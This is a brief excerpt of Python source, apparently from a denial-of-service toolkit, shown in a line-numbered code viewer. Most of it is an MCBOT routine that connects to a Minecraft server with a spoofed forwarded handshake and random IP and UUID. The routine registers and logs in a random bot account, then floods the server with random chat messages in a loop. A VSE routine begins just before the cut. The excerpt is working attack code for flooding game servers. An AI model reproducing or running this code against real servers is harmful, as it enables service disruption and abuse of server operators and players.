(self)
| 575 | Tools.safe_close(s) |
| 576 | |
| 577 | def MCBOT(self) -> None: |
| 578 | s = None |
| 579 | |
| 580 | with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s: |
| 581 | Tools.send(s, Minecraft.handshake_forwarded(self._target, |
| 582 | self.protocolid, |
| 583 | 2, |
| 584 | ProxyTools.Random.rand_ipv4(), |
| 585 | uuid4())) |
| 586 | username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}" |
| 587 | password = b64encode(username.encode()).decode()[:8].title() |
| 588 | Tools.send(s, Minecraft.login(self.protocolid, username)) |
| 589 | |
| 590 | sleep(1.5) |
| 591 | |
| 592 | Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password))) |
| 593 | Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password)) |
| 594 | |
| 595 | while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))): |
| 596 | sleep(1.1) |
| 597 | |
| 598 | Tools.safe_close(s) |
| 599 | |
| 600 | def VSE(self) -> None: |
| 601 | global BYTES_SEND, REQUESTS_SENT |
nothing calls this directly
no test coverage detected